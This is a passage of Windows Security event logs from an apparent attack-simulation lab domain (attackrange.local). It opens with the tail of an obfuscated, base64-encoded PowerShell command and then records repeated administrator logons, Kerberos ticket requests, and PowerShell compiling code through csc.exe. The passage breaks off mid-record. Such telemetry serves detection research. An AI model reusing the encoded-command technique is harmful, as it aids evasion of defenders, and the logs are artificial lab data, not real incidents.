AFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250938 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x121804 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250937 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x121804 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250936 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250935 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250934 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250933 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1217E8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250932 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1217E8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250931 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1217E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250930 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250929 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F18D752E-6991-B481-317F-DB9D9477D76C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250928 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250927 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12138E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250926 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x120877 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251017 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10a0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESDD9B.tmp" "c:\Users\Administrator\AppData\Local\Temp\jfsoqwpx\CSC37409CEF6964210AA7EB6DDB6377B99.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251016 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1230AA - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4a8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\jfsoqwpx\jfsoqwpx.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251015 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124C43 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251014 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x124C43 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64496 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251013 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124C43 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251012 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124BE2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251011 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x124BE2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64495 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251010 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124BE2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251009 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124B6A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251008 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x124B6A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64494 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251007 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124B6A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251006 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124B09 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251005 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x124B09 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64493 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251004 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x124B09 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:36 PM -LogName=Security -SourceName=Microsoft 